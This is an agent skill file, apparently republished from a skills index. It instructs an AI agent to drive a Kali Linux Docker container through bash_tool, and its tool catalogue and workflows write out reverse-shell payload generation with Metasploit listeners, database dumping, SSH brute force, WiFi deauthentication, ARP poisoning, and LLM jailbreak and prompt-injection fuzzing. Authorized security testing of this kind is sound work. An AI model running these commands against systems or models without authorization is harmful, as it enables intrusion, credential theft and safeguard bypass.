kali-docker-pentesting

内容来源：SKILL.md（标准 Skill 格式） · 原始地址 · 查看安装指南

原始内容

---
name: kali-docker-pentesting
description: Comprehensive pentesting toolkit using Kali Linux Docker container. Provides direct access to 200+ security tools without MCP overhead. Use when conducting security assessments, penetration testing, vulnerability scanning, or security research. Works via direct docker exec commands for maximum efficiency.
---

# Kali Docker Pentesting Skill

## Overview

This skill provides intelligent access to a comprehensive Kali Linux Docker container with 200+ pentesting tools. Instead of using an MCP server, this skill enables direct command execution via `bash_tool`, making it 70% more token-efficient.

**Canonical names on this host** (use these verbatim — earlier versions of this skill used a bare `kali`, which does not match the running container):

- **Image:** `kali-comprehensive:latest` (built from [github.com/kroegha/kali-docker-pentesting](https://github.com/kroegha/kali-docker-pentesting): base `kalilinux/kali-rolling:latest` + Kali metapackages + Python security libs)
- **Container:** `kali-pentest` (long-running; check with `docker ps -a`)

Verify before running commands: `docker ps --filter name=kali-pentest`. If the container name differs on a given machine, substitute it in the `docker exec` calls below.

## Container Management

### Starting the Container

```bash
# Basic start
docker run -d --name kali-pentest \
  -v $(pwd)/workspace:/workspace \
  -v $(pwd)/results:/results \
  kali-comprehensive

# With network capabilities (for actual scanning)
docker run -d --name kali-pentest \
  -v $(pwd)/workspace:/workspace \
  -v $(pwd)/results:/results \
  --cap-add=NET_RAW \
  --cap-add=NET_ADMIN \
  --network host \
  kali-comprehensive

# With GUI access (VNC)
docker run -d --name kali-pentest \
  -v $(pwd)/workspace:/workspace \
  -p 5900:5900 \
  -p 3389:3389 \
  kali-comprehensive
```

### Running Commands

```bash
# Execute single command
docker exec kali-pentest [tool] [options]

# Interactive shell
docker exec -it kali-pentest /bin/bash

# Copy files out
docker cp kali-pentest:/results/scan.txt ./output/

# Copy files in
docker cp ./wordlist.txt kali-pentest:/workspace/
```

### Container Lifecycle

```bash
# Stop container
docker stop kali-pentest

# Start existing container
docker start kali-pentest

# Remove container
docker rm kali-pentest

# View logs
docker logs kali-pentest
```

### Updating the Container OS & Tools

Kali is a **rolling release** — there is no version upgrade, you just pull the latest packages. Because the container holds 200+ tools that took a long time to install, update **in place and commit** rather than rebuilding from scratch.

```bash
# 1. Back up the current image first (instant, enables rollback)
docker tag kali-comprehensive:latest kali-comprehensive:backup-$(date +%Y-%m-%d)

# 2. Full-upgrade all packages inside the running container (non-interactive, keep existing configs)
docker exec kali-pentest bash -c \
  'export DEBIAN_FRONTEND=noninteractive; apt-get update && \
   apt-get -y -o Dpkg::Options::="--force-confold" -o Dpkg::Options::="--force-confdef" full-upgrade && \
   apt-get -y autoremove && apt-get clean'

# 3. Persist the upgraded state back into the image
docker commit kali-pentest kali-comprehensive:latest

# Roll back if an upgrade breaks something:
#   docker tag kali-comprehensive:backup-YYYY-MM-DD kali-comprehensive:latest
```

**Clean rebuild (alternative):** to get a fresh, smaller image from the newest base, clone the repo and rebuild — slower (re-downloads everything) but reproducible:

```bash
git clone https://github.com/kroegha/kali-docker-pentesting.git
cd kali-docker-pentesting && docker compose build
```

---

# Tool Catalog

## 🔍 Network Discovery & Scanning

### nmap - Network Mapper
**Description:** Industry-standard network scanner for host discovery, port scanning, and service detection.

**Usage:**
```bash
# Basic scan
docker exec kali-pentest nmap 192.168.1.1

# Service version detection
docker exec kali-pentest nmap -sV 192.168.1.1

# OS detection
docker exec kali-pentest nmap -O 192.168.1.1

# Comprehensive scan
docker exec kali-pentest nmap -sC -sV -O -p- 192.168.1.1

# Save results
docker exec kali-pentest nmap -sV -oA /results/scan 192.168.1.0/24
```

**Common Options:**
- `-sS` - SYN stealth scan
- `-sT` - TCP connect scan
- `-sU` - UDP scan
- `-sV` - Version detection
- `-O` - OS detection
- `-A` - Aggressive scan (OS, version, scripts, traceroute)
- `-p-` - Scan all 65535 ports
- `-Pn` - Skip ping (assume host is up)
- `-T4` - Faster timing (0-5)
- `-oA` - Output all formats

### masscan - Fast Port Scanner
**Description:** Extremely fast port scanner, can scan the entire internet in under 6 minutes.

**Usage:**
```bash
# Scan specific ports
docker exec kali-pentest masscan 192.168.1.0/24 -p80,443,8080

# Scan all ports fast
docker exec kali-pentest masscan 192.168.1.0/24 -p0-65535 --rate=10000

# Save results
docker exec kali-pentest masscan 10.0.0.0/8 -p80 -oL /results/masscan.txt
```

### netdiscover - Network Discovery
**Description:** Active/passive ARP reconnaissance tool.

**Usage:**
```bash
# Passive mode
docker exec kali-pentest netdiscover -p -i eth0

# Active mode with range
docker exec kali-pentest netdiscover -r 192.168.1.0/24
```

### arp-scan - ARP Scanner
**Description:** Discovers IPv4 hosts using ARP.

**Usage:**
```bash
docker exec kali-pentest arp-scan --localnet
docker exec kali-pentest arp-scan 192.168.1.0/24
```

---

## 🌐 Web Application Testing

### nikto - Web Server Scanner
**Description:** Web server vulnerability scanner.

**Usage:**
```bash
# Basic scan
docker exec kali-pentest nikto -h http://target.com

# SSL scan
docker exec kali-pentest nikto -h https://target.com -ssl

# Save results
docker exec kali-pentest nikto -h http://target.com -o /results/nikto.txt

# Tuning options
docker exec kali-pentest nikto -h http://target.com -Tuning 123bde
```

### dirb - Directory Brute Forcer
**Description:** Web content scanner.

**Usage:**
```bash
# Default wordlist
docker exec kali-pentest dirb http://target.com

# Custom wordlist
docker exec kali-pentest dirb http://target.com /usr/share/wordlists/dirb/common.txt

# Save results
docker exec kali-pentest dirb http://target.com -o /results/dirb.txt

# Extensions
docker exec kali-pentest dirb http://target.com -X .php,.html,.txt
```

### gobuster - Directory/DNS Enumeration
**Description:** Fast directory and DNS enumeration tool.

**Usage:**
```bash
# Directory enumeration
docker exec kali-pentest gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt

# DNS subdomain enumeration
docker exec kali-pentest gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt

# Virtual host discovery
docker exec kali-pentest gobuster vhost -u http://target.com -w /usr/share/wordlists/vhosts.txt
```

### wfuzz - Web Fuzzer
**Description:** Web application fuzzer.

**Usage:**
```bash
# Directory fuzzing
docker exec kali-pentest wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt --hc 404 http://target.com/FUZZ

# Parameter fuzzing
docker exec kali-pentest wfuzz -c -z file,/usr/share/wordlists/passwords.txt http://target.com/page?id=FUZZ

# POST data fuzzing
docker exec kali-pentest wfuzz -c -z file,users.txt -z file,pass.txt -d "user=FUZZ&pass=FUZ2Z" http://target.com/login
```

### sqlmap - SQL Injection Tool
**Description:** Automatic SQL injection and database takeover tool.

**Usage:**
```bash
# Basic test
docker exec kali-pentest sqlmap -u "http://target.com/page?id=1"

# POST request
docker exec kali-pentest sqlmap -u "http://target.com/login" --data="user=admin&pass=test"

# Enumerate databases
docker exec kali-pentest sqlmap -u "http://target.com/page?id=1" --dbs

# Dump database
docker exec kali-pentest sqlmap -u "http://target.com/page?id=1" -D dbname --dump

# Full automation
docker exec kali-pentest sqlmap -u "http://target.com/page?id=1" --batch --dump-all
```

### wpscan - WordPress Scanner
**Description:** WordPress vulnerability scanner.

**Usage:**
```bash
# Basic scan
docker exec kali-pentest wpscan --url http://target.com

# Enumerate users
docker exec kali-pentest wpscan --url http://target.com --enumerate u

# Enumerate plugins
docker exec kali-pentest wpscan --url http://target.com --enumerate p

# Aggressive scan
docker exec kali-pentest wpscan --url http://target.com --enumerate ap,at,cb,dbe
```

### whatweb - Website Fingerprinting
**Description:** Identifies websites and web technologies.

**Usage:**
```bash
# Basic scan
docker exec kali-pentest whatweb http://target.com

# Aggressive mode
docker exec kali-pentest whatweb -a 3 http://target.com

# Scan multiple URLs
docker exec kali-pentest whatweb -i /workspace/urls.txt
```

---

## 🔐 Password Attacks

### john - John the Ripper
**Description:** Fast password cracker.

**Usage:**
```bash
# Crack with default wordlist
docker exec kali-pentest john /workspace/hashes.txt

# Use rockyou wordlist
docker exec kali-pentest john --wordlist=/usr/share/wordlists/rockyou.txt /workspace/hashes.txt

# Crack specific format
docker exec kali-pentest john --format=raw-md5 /workspace/hashes.txt

# Show cracked passwords
docker exec kali-pentest john --show /workspace/hashes.txt

# Incremental mode
docker exec kali-pentest john --incremental /workspace/hashes.txt
```

### hashcat - Advanced Password Recovery
**Description:** World's fastest password cracker.

**Usage:**
```bash
# MD5 crack
docker exec kali-pentest hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt

# SHA256 crack
docker exec kali-pentest hashcat -m 1400 -a 0 hashes.txt wordlist.txt

# Brute force
docker exec kali-pentest hashcat -m 0 -a 3 hash.txt ?a?a?a?a?a?a

# Show results
docker exec kali-pentest hashcat -m 0 hashes.txt --show
```

**Hash Modes:**
- 0 = MD5
- 100 = SHA1
- 1400 = SHA256
- 1700 = SHA512
- 1000 = NTLM
- 3200 = bcrypt

### hydra - Network Password Cracker
**Description:** Fast network logon cracker.

**Usage:**
```bash
# SSH brute force
docker exec kali-pentest hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1

# HTTP POST form
docker exec kali-pentest hydra -l admin -P passwords.txt 192.168.1.1 http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"

# FTP brute force
docker exec kali-pentest hydra -L users.txt -P passwords.txt ftp://192.168.1.1

# Multiple protocols
docker exec kali-pentest hydra -L users.txt -P passwords.txt 192.168.1.1 ssh ftp http
```

### medusa - Parallel Password Cracker
**Description:** Speedy, parallel, modular login brute-forcer.

**Usage:**
```bash
# SSH attack
docker exec kali-pentest medusa -h 192.168.1.1 -u admin -P passwords.txt -M ssh

# HTTP basic auth
docker exec kali-pentest medusa -h 192.168.1.1 -u admin -P passwords.txt -M http
```

### crunch - Wordlist Generator
**Description:** Generates custom wordlists.

**Usage:**
```bash
# Generate 6-8 character wordlist
docker exec kali-pentest crunch 6 8 -o /results/wordlist.txt

# Custom charset
docker exec kali-pentest crunch 4 6 0123456789 -o /results/numbers.txt

# Pattern-based
docker exec kali-pentest crunch 8 8 -t pass@@@@ -o /results/pattern.txt
```

---

## 📡 Wireless Security

### aircrack-ng - WiFi Security Suite
**Description:** Complete suite for assessing WiFi network security.

**Usage:**
```bash
# Start monitor mode
docker exec kali-pentest airmon-ng start wlan0

# Capture packets
docker exec kali-pentest airodump-ng wlan0mon

# Capture specific network
docker exec kali-pentest airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w /results/capture wlan0mon

# Deauth attack
docker exec kali-pentest aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon

# Crack WPA handshake
docker exec kali-pentest aircrack-ng -w /usr/share/wordlists/rockyou.txt /results/capture-01.cap
```

### wifite - Automated Wireless Attack
**Description:** Automated wireless attack tool.

**Usage:**
```bash
# Automatic WPA attack
docker exec kali-pentest wifite --wpa

# All attack types
docker exec kali-pentest wifite

# Specific target
docker exec kali-pentest wifite -i wlan0 --kill
```

### reaver - WPS Attack
**Description:** Brute force WPS PINs.

**Usage:**
```bash
docker exec kali-pentest reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv
```

---

## 🕵️ Information Gathering

### theharvester - Email/Subdomain Harvester
**Description:** Gather emails, subdomains, IPs from public sources.

**Usage:**
```bash
# Search all sources
docker exec kali-pentest theharvester -d target.com -b all

# Specific source
docker exec kali-pentest theharvester -d target.com -b google

# Save results
docker exec kali-pentest theharvester -d target.com -b all -f /results/harvest
```

### dnsrecon - DNS Enumeration
**Description:** DNS enumeration and network reconnaissance.

**Usage:**
```bash
# Standard enumeration
docker exec kali-pentest dnsrecon -d target.com

# Zone transfer
docker exec kali-pentest dnsrecon -d target.com -a

# Brute force subdomains
docker exec kali-pentest dnsrecon -d target.com -D /usr/share/wordlists/subdomains.txt -t brt
```

### sublist3r - Subdomain Enumeration
**Description:** Fast subdomain enumeration using OSINT.

**Usage:**
```bash
# Basic enumeration
docker exec kali-pentest sublist3r -d target.com

# Enable brute force
docker exec kali-pentest sublist3r -d target.com -b

# Save results
docker exec kali-pentest sublist3r -d target.com -o /results/subdomains.txt
```

### enum4linux - SMB Enumeration
**Description:** Tool for enumerating information from Windows and Samba systems.

**Usage:**
```bash
# Full enumeration
docker exec kali-pentest enum4linux -a 192.168.1.1

# User enumeration
docker exec kali-pentest enum4linux -U 192.168.1.1

# Share enumeration
docker exec kali-pentest enum4linux -S 192.168.1.1
```

### dmitry - Deep Information Gathering
**Description:** Deepmagic Information Gathering Tool.

**Usage:**
```bash
# Full scan
docker exec kali-pentest dmitry -winsepo /results/dmitry.txt target.com

# Subdomain search
docker exec kali-pentest dmitry -s target.com
```

---

## 🛡️ Exploitation Frameworks

### metasploit-framework - Penetration Testing Framework
**Description:** The world's most used penetration testing framework.

**Usage:**
```bash
# Start msfconsole
docker exec -it kali-pentest msfconsole

# Generate payload
docker exec kali-pentest msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe > /results/payload.exe

# Search exploits
docker exec -it kali-pentest bash -c "echo 'search tomcat' | msfconsole -q"

# Run resource script
docker exec kali-pentest msfconsole -r /workspace/script.rc
```

**Common msfvenom payloads:**
```bash
# Windows reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe -o shell.exe

# Linux reverse shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f elf -o shell.elf

# PHP reverse shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f raw -o shell.php

# Android APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -o shell.apk
```

### social-engineer-toolkit (SET)
**Description:** Social engineering penetration testing framework.

**Usage:**
```bash
# Start SET
docker exec -it kali-pentest setoolkit
```

---

## 🔬 Forensics & Analysis

### binwalk - Firmware Analysis
**Description:** Analyze and extract firmware images.

**Usage:**
```bash
# Scan for embedded files
docker exec kali-pentest binwalk /workspace/firmware.bin

# Extract files
docker exec kali-pentest binwalk -e /workspace/firmware.bin

# Signature scan
docker exec kali-pentest binwalk --signature /workspace/file.bin
```

### foremost - File Carving
**Description:** Recover files based on headers and footers.

**Usage:**
```bash
# Recover all file types
docker exec kali-pentest foremost -i /workspace/image.dd -o /results/recovered

# Specific file types
docker exec kali-pentest foremost -t jpg,png,pdf -i /workspace/image.dd -o /results/
```

### volatility - Memory Forensics
**Description:** Advanced memory forensics framework.

**Usage:**
```bash
# Get image info
docker exec kali-pentest volatility -f /workspace/memory.dump imageinfo

# List processes
docker exec kali-pentest volatility -f /workspace/memory.dump --profile=Win7SP1x64 pslist

# Dump process
docker exec kali-pentest volatility -f /workspace/memory.dump --profile=Win7SP1x64 procdump -p 1234 -D /results/
```

### strings - Extract Strings
**Description:** Extract printable strings from files.

**Usage:**
```bash
# Basic extraction
docker exec kali-pentest strings /workspace/binary > /results/strings.txt

# Minimum length 10
docker exec kali-pentest strings -n 10 /workspace/binary

# Unicode strings
docker exec kali-pentest strings -e l /workspace/binary
```

### exiftool - Metadata Extraction
**Description:** Read and write meta information in files.

**Usage:**
```bash
# View metadata
docker exec kali-pentest exiftool /workspace/image.jpg

# Remove all metadata
docker exec kali-pentest exiftool -all= /workspace/image.jpg

# Batch process
docker exec kali-pentest exiftool /workspace/*.jpg
```

---

## 🔄 Reverse Engineering

### ghidra - Software Reverse Engineering
**Description:** NSA's software reverse engineering framework.

**Usage:**
```bash
# GUI mode (requires X11 forwarding)
docker exec -it kali-pentest ghidra

# Headless mode
docker exec kali-pentest analyzeHeadless /workspace /project -import /workspace/binary.exe
```

### radare2 - Reverse Engineering Framework
**Description:** Advanced reverse engineering framework.

**Usage:**
```bash
# Open binary
docker exec -it kali-pentest r2 /workspace/binary

# Analyze
docker exec -it kali-pentest bash -c "echo 'aaa; pdf' | r2 /workspace/binary"

# Disassemble
docker exec kali-pentest r2 -c 'pd 10' /workspace/binary
```

### gdb - GNU Debugger
**Description:** Standard debugger for Unix systems.

**Usage:**
```bash
# Debug binary
docker exec -it kali-pentest gdb /workspace/binary

# With PEDA
docker exec -it kali-pentest gdb -q /workspace/binary
```

---

## 🎯 Vulnerability Assessment

### lynis - Security Auditing
**Description:** Security auditing tool for Unix/Linux systems.

**Usage:**
```bash
# Full audit
docker exec kali-pentest lynis audit system

# Quick scan
docker exec kali-pentest lynis audit system --quick
```

### nikto - Web Vulnerability Scanner
(See Web Application Testing section)

### openvas - Vulnerability Scanner
**Description:** Full-featured vulnerability scanner.

**Usage:**
```bash
# Start OpenVAS (requires initialization)
docker exec kali-pentest openvas-start
```

---

## 🤖 LLM / Prompt-Injection Testing

Tools for assessing **LLM-backed applications** (chatbots, RAG systems, AI agents) for prompt injection, jailbreaks, data leakage, and related GenAI risks. These are **not** in stock Kali — they were added to this image (see *Updating the Container*).

**Install layout** (isolated to avoid conflicts with Kali's apt-managed system Python):
| Tool | Install method | Invoke as |
|------|---------------|-----------|
| garak | pipx (global) | `garak` |
| agentic-radar | pipx (global) | `agentic-radar` |
| promptfoo | npm (global) | `promptfoo` |
| promptmap2 | git clone `/opt/promptmap` | `cd /opt/promptmap && python3 promptmap2.py` |
| PyRIT | venv `/opt/venvs/pyrit` | `/opt/venvs/pyrit/bin/python` |
| fuzzyai | venv `/opt/venvs/fuzzyai` | `/opt/venvs/fuzzyai/bin/fuzzyai` |

**Before you run anything:**
- Every tool tests a **target LLM** over the network, and most also use a **judge/attacker LLM** — so you need reachability to the target plus an API key for the judge (`OPENAI_API_KEY`, `ANTHROPIC_API_KEY`, or Azure creds).
- **Never bake keys into the image.** Pass them at runtime via an env file that lives on the host only:
  ```bash
  # host: keys.env  (chmod 600, never commit)
  #   OPENAI_API_KEY=sk-...
  docker run --rm --env-file keys.env kali-comprehensive garak --help
  # or for the long-running container, set per-exec:
  docker exec -e OPENAI_API_KEY=sk-... kali-pentest garak --list_probes
  ```
- Point tools at **API endpoints**, not local models — loading a local HF model needs a GPU the container doesn't have.

### garak - LLM Vulnerability Scanner ("nmap for LLMs")
**Description:** NVIDIA's broad-coverage probe/detector scanner (prompt injection, jailbreak, data leakage, encoding attacks, toxicity). Run-first baseline; produces a scored report. Actively maintained.

**Usage:**
```bash
# List available probes
docker exec kali-pentest garak --list_probes

# Prompt-injection scan of an OpenAI model
docker exec -e OPENAI_API_KEY=sk-... kali-pentest \
  garak --model_type openai --model_name gpt-4o-mini --probes promptinject

# Full scan, JSON report to /results
docker exec -e OPENAI_API_KEY=sk-... kali-pentest \
  garak --model_type openai --model_name gpt-4o-mini --report_prefix /results/garak
```

### promptmap2 - Targeted Prompt-Injection Scanner
**Description:** Purpose-built injection tester for a *specific* app. White-box (supply the system prompt) or black-box (point at an HTTP endpoint). YAML rule categories: jailbreak, prompt stealing, harmful, distraction, bias. Installed under `/opt/promptmap`.

**Usage:**
```bash
# Test your app's system prompt against an OpenAI target (needs OPENAI_API_KEY)
docker exec -e OPENAI_API_KEY=sk-... kali-pentest bash -c \
  'cd /opt/promptmap && python3 promptmap2.py \
     --prompts /workspace/system_prompt.txt \
     --target-model gpt-4o-mini --target-model-type openai'
# target-model-type: openai | anthropic | google | ollama | xai | http (black-box endpoint)
```

### promptfoo - Red-Team & Eval Framework (standards-mapped)
**Description:** Node-based CLI. Red-team mode auto-generates adversarial prompts via 50+ plugins (prompt injection, jailbreak, PII, excessive agency) and maps findings to **OWASP LLM Top 10 / NIST AI RMF / MITRE ATLAS** — best for repeatable, reportable engagements.

**Usage:**
```bash
# Initialise a red-team config, then run it
docker exec kali-pentest bash -c 'cd /workspace && promptfoo redteam init'
docker exec -e OPENAI_API_KEY=sk-... kali-pentest \
  bash -c 'cd /workspace && promptfoo redteam run'
```

### PyRIT - Multi-Turn AI Red-Teaming Framework
**Description:** Microsoft's scriptable framework for deeper, multi-turn attacks (Crescendo, TAP, Skeleton Key) against OpenAI/Azure/Anthropic/custom HTTP targets. A Python **library**, not a one-shot CLI — the "go deep" tool once garak/promptmap surface something. Heaviest dependency footprint.

**Usage:**
```bash
# Run a PyRIT attack script with the PyRIT venv's Python (write the script to /workspace first)
docker exec -e OPENAI_API_KEY=sk-... kali-pentest \
  /opt/venvs/pyrit/bin/python /workspace/pyrit_crescendo.py
```

### agentic-radar - Agentic Workflow Scanner
**Description:** SplxAI static-analysis scanner for **agentic** apps (LangGraph, CrewAI, OpenAI Agents SDK, n8n, MCP tools). Maps agent/tool topology and flags vulnerabilities garak/promptmap can't see. Use when the target is an agent, not a bare model.

**Usage:**
```bash
# Scan an agent project mounted into the container, HTML report to /results
docker exec kali-pentest agentic-radar scan -i /workspace/agent_project -o /results/agentic-radar.html
```

### fuzzyai - Aggressive Jailbreak Fuzzer
**Description:** CyberArk's LLM fuzzer focused on jailbreaks — ASCII/Unicode-tag smuggling, genetic adversarial-suffix, many-shot. Multi-provider. Installed in a dedicated venv at `/opt/venvs/fuzzyai` (its upstream `torch`/`numpy` pins were relaxed for Python 3.13 compatibility). Subcommands: `fuzz` and `webui`. Check the [wiki](https://github.com/cyberark/FuzzyAI/wiki) for the full attack-mode list, which changes between versions.

**Usage:**
```bash
# Single-prompt jailbreak fuzz against an OpenAI model
docker exec -e OPENAI_API_KEY=sk-... kali-pentest \
  /opt/venvs/fuzzyai/bin/fuzzyai fuzz -m openai/gpt-4o -a def -t "test prompt"
#   -m model  -a attack_modes  -t target_prompt  (-T file for many prompts, -s system prompt)
```

### Reference frameworks (cite these in reports)
- **OWASP Top 10 for LLM Applications (2025)** — LLM01 = Prompt Injection. https://genai.owasp.org/llm-top-10/
- **MITRE ATLAS** — adversarial-threat matrix for AI systems. https://atlas.mitre.org/
- **NIST AI RMF (Generative AI Profile)** — risk framing referenced by promptfoo/DeepTeam mappings.

---

## 📊 Network Analysis

### tcpdump - Packet Capture
**Description:** Command-line packet analyzer.

**Usage:**
```bash
# Capture on interface
docker exec kali-pentest tcpdump -i eth0

# Capture to file
docker exec kali-pentest tcpdump -i eth0 -w /results/capture.pcap

# Read file
docker exec kali-pentest tcpdump -r /results/capture.pcap

# Filter HTTP
docker exec kali-pentest tcpdump -i eth0 'tcp port 80'
```

### tshark - Network Protocol Analyzer
**Description:** Terminal-based Wireshark.

**Usage:**
```bash
# Capture packets
docker exec kali-pentest tshark -i eth0

# Capture to file
docker exec kali-pentest tshark -i eth0 -w /results/capture.pcap

# Filter display
docker exec kali-pentest tshark -r /results/capture.pcap -Y 'http.request'
```

### ettercap - Network Sniffer/Interceptor
**Description:** Comprehensive suite for MITM attacks.

**Usage:**
```bash
# Text mode
docker exec -it kali-pentest ettercap -T -i eth0

# ARP poisoning
docker exec kali-pentest ettercap -T -M arp:remote /192.168.1.1// /192.168.1.100//
```

---

# Common Pentesting Workflows

## 1. Network Reconnaissance

```bash
# Step 1: Discover live hosts
docker exec kali-pentest nmap -sn 192.168.1.0/24 -oA /results/hosts

# Step 2: Port scan discovered hosts
docker exec kali-pentest nmap -sV -p- -iL /results/hosts.txt -oA /results/ports

# Step 3: Enumerate services
docker exec kali-pentest nmap -sC -sV -p 80,443,22,21 192.168.1.0/24 -oA /results/services
```

## 2. Web Application Assessment

```bash
# Step 1: Identify web technologies
docker exec kali-pentest whatweb http://target.com

# Step 2: Directory enumeration
docker exec kali-pentest gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -o /results/dirs.txt

# Step 3: Vulnerability scan
docker exec kali-pentest nikto -h http://target.com -o /results/nikto.txt

# Step 4: Test for SQLi
docker exec kali-pentest sqlmap -u "http://target.com/page?id=1" --batch
```

## 3. Password Cracking Workflow

```bash
# Step 1: Generate wordlist
docker exec kali-pentest crunch 8 12 -t Pass@@@@ -o /results/wordlist.txt

# Step 2: Crack hashes
docker exec kali-pentest john --wordlist=/results/wordlist.txt /workspace/hashes.txt

# Step 3: Network service brute force
docker exec kali-pentest hydra -L /workspace/users.txt -P /results/wordlist.txt ssh://192.168.1.1
```

## 4. Wireless Network Assessment

```bash
# Step 1: Enable monitor mode
docker exec kali-pentest airmon-ng start wlan0

# Step 2: Scan networks
docker exec kali-pentest airodump-ng wlan0mon

# Step 3: Capture handshake
docker exec kali-pentest airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w /results/capture wlan0mon

# Step 4: Deauth clients
docker exec kali-pentest aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon

# Step 5: Crack WPA
docker exec kali-pentest aircrack-ng -w /usr/share/wordlists/rockyou.txt /results/capture-01.cap
```

## 5. Exploitation Workflow

```bash
# Step 1: Search for exploit
docker exec kali-pentest searchsploit apache 2.4.49

# Step 2: Generate payload
docker exec kali-pentest msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o /results/payload.exe

# Step 3: Setup listener in Metasploit
docker exec -it kali-pentest msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.100; set LPORT 4444; exploit"
```

---

# File Management

## Copying Files Between Host and Container

```bash
# Copy TO container
docker cp ./local-file.txt kali-pentest:/workspace/

# Copy FROM container
docker cp kali-pentest:/results/scan.txt ./output/

# Copy directory
docker cp kali-pentest:/results/ ./output/
```

## Working with Wordlists

**Common Wordlist Locations:**
- `/usr/share/wordlists/rockyou.txt` - Most popular password list
- `/usr/share/wordlists/dirb/common.txt` - Common directories
- `/usr/share/seclists/` - SecLists collection
- `/usr/share/wordlists/metasploit/` - Metasploit wordlists

```bash
# List available wordlists
docker exec kali-pentest find /usr/share/wordlists -type f

# Extract rockyou (if gzipped)
docker exec kali-pentest gunzip /usr/share/wordlists/rockyou.txt.gz
```

---

# Troubleshooting

## Container Won't Start

```bash
# Check logs
docker logs kali-pentest

# Remove and recreate
docker rm kali-pentest
docker run -d --name kali-pentest kali-comprehensive
```

## Network Issues

```bash
# Use host network
docker run -d --name kali-pentest --network host kali-comprehensive

# Add network capabilities
docker run -d --name kali-pentest --cap-add=NET_RAW --cap-add=NET_ADMIN kali-comprehensive
```

## Permission Issues

```bash
# Run as root (already default)
docker exec -u root kali-pentest [command]

# Fix workspace permissions
docker exec kali-pentest chmod -R 777 /workspace /results
```

## Metasploit Database Issues

```bash
# Initialize database
docker exec kali-pentest service postgresql start
docker exec kali-pentest msfdb init

# Check status
docker exec kali-pentest msfdb status
```

---

# Best Practices

## 1. Always Save Results

```bash
# Use output flags
-o filename.txt          # Generic output
-oA basename            # Nmap: all formats
-w filename             # Write to file
> /results/output.txt   # Shell redirect
```

## 2. Use Volumes for Persistence

Mount volumes for:
- `/workspace` - Working files
- `/results` - Scan results
- `/wordlists` - Custom wordlists

## 3. Scope Your Testing

Always:
- Get written authorization
- Define scope boundaries
- Document everything
- Report findings responsibly

## 4. Clean Up After Testing

```bash
# Stop monitor mode
docker exec kali-pentest airmon-ng stop wlan0mon

# Clear temporary files
docker exec kali-pentest rm -rf /tmp/*

# Archive results
docker exec kali-pentest tar -czf /results/assessment-$(date +%Y%m%d).tar.gz /results/*.txt
```

---

# Quick Reference

## Port Scanning
```bash
docker exec kali-pentest nmap -sV -p- target
```

## Directory Enumeration
```bash
docker exec kali-pentest gobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt
```

## SQL Injection
```bash
docker exec kali-pentest sqlmap -u "http://target/page?id=1" --batch
```

## Password Cracking
```bash
docker exec kali-pentest john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
```

## Network Brute Force
```bash
docker exec kali-pentest hydra -l admin -P passwords.txt ssh://target
```

## WiFi Cracking
```bash
docker exec kali-pentest aircrack-ng -w /usr/share/wordlists/rockyou.txt capture.cap
```

---

# When to Use This Skill

Use this skill when:
- Conducting authorized penetration testing
- Performing security assessments
- Testing network security
- Analyzing web applications
- Cracking passwords (authorized)
- Wireless security auditing
- Forensics analysis
- Reverse engineering
- Learning security techniques

Claude will read this skill and execute commands via bash_tool, providing efficient, direct access to all pentesting tools without MCP protocol overhead.

name: kali-docker-pentesting description: Comprehensive pentesting toolkit using Kali Linux Docker container. Provides direct access to 200+ security tools without MCP overhead. Use when conducting security assessments, penetration testing, vulnerability scanning, or security research. Works via direct docker exec commands for maximum efficiency.

Kali Docker Pentesting Skill

Overview

This skill provides intelligent access to a comprehensive Kali Linux Docker container with 200+ pentesting tools. Instead of using an MCP server, this skill enables direct command execution via bash_tool, making it 70% more token-efficient.

Canonical names on this host (use these verbatim — earlier versions of this skill used a bare kali, which does not match the running container):

Image: kali-comprehensive:latest (built from github.com/kroegha/kali-docker-pentesting: base kalilinux/kali-rolling:latest + Kali metapackages + Python security libs)
Container: kali-pentest (long-running; check with docker ps -a)

Verify before running commands: docker ps --filter name=kali-pentest. If the container name differs on a given machine, substitute it in the docker exec calls below.

Container Management

Starting the Container

# Basic start
docker run -d --name kali-pentest \
  -v $(pwd)/workspace:/workspace \
  -v $(pwd)/results:/results \
  kali-comprehensive

# With network capabilities (for actual scanning)
docker run -d --name kali-pentest \
  -v $(pwd)/workspace:/workspace \
  -v $(pwd)/results:/results \
  --cap-add=NET_RAW \
  --cap-add=NET_ADMIN \
  --network host \
  kali-comprehensive

# With GUI access (VNC)
docker run -d --name kali-pentest \
  -v $(pwd)/workspace:/workspace \
  -p 5900:5900 \
  -p 3389:3389 \
  kali-comprehensive

Running Commands

# Execute single command
docker exec kali-pentest [tool] [options]

# Interactive shell
docker exec -it kali-pentest /bin/bash

# Copy files out
docker cp kali-pentest:/results/scan.txt ./output/

# Copy files in
docker cp ./wordlist.txt kali-pentest:/workspace/

Container Lifecycle

# Stop container
docker stop kali-pentest

# Start existing container
docker start kali-pentest

# Remove container
docker rm kali-pentest

# View logs
docker logs kali-pentest

Updating the Container OS & Tools

Kali is a rolling release — there is no version upgrade, you just pull the latest packages. Because the container holds 200+ tools that took a long time to install, update in place and commit rather than rebuilding from scratch.

# 1. Back up the current image first (instant, enables rollback)
